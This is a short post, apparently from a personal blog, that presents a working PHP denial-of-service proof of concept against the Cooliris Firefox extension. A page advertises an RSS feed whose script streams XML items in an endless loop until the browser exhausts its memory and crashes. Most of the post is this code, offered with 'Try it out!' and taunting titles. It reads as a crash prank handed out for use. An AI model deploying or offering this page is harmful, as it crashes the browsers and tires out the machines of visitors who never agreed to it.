So while I was playing around and testing for some project, I noticed that the Firefox extension Cooliris seems to have a strange algorithm to parse xml files, like those you might want to link as RSS Feed.

I simply wrote a little PHP script which generates and endlessly long XML file. Watch your RAM usage, you will notice Firefox eats it up very fast when trying to parse all the XML data. Until it just crashes. :)

Try it out!

Source:

<?php
echo (' <?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<rss version="2.0" xmlns:media="http://search.yahoo.com/mrss">
<channel>
<title>bye ffox</title>
<link>http://dsorg.org/</link>
<description>Twart.</description>
<logo url="" />');

if($_GET['rss']=='true') {
 while(true) {
echo "
	<item>
		<title>sum title</title>
		<link>sumfile</link>
		<guid>random1</guid>
	</item>
";
}
} else {
echo ('
<html><head>
 <link rel="alternate" href="firefoxcrash.php?rss=true"
       type="application/rss+xml" title="" id="gallery" />
</head><body>watch your ram ;)</body></html>');
 }
?>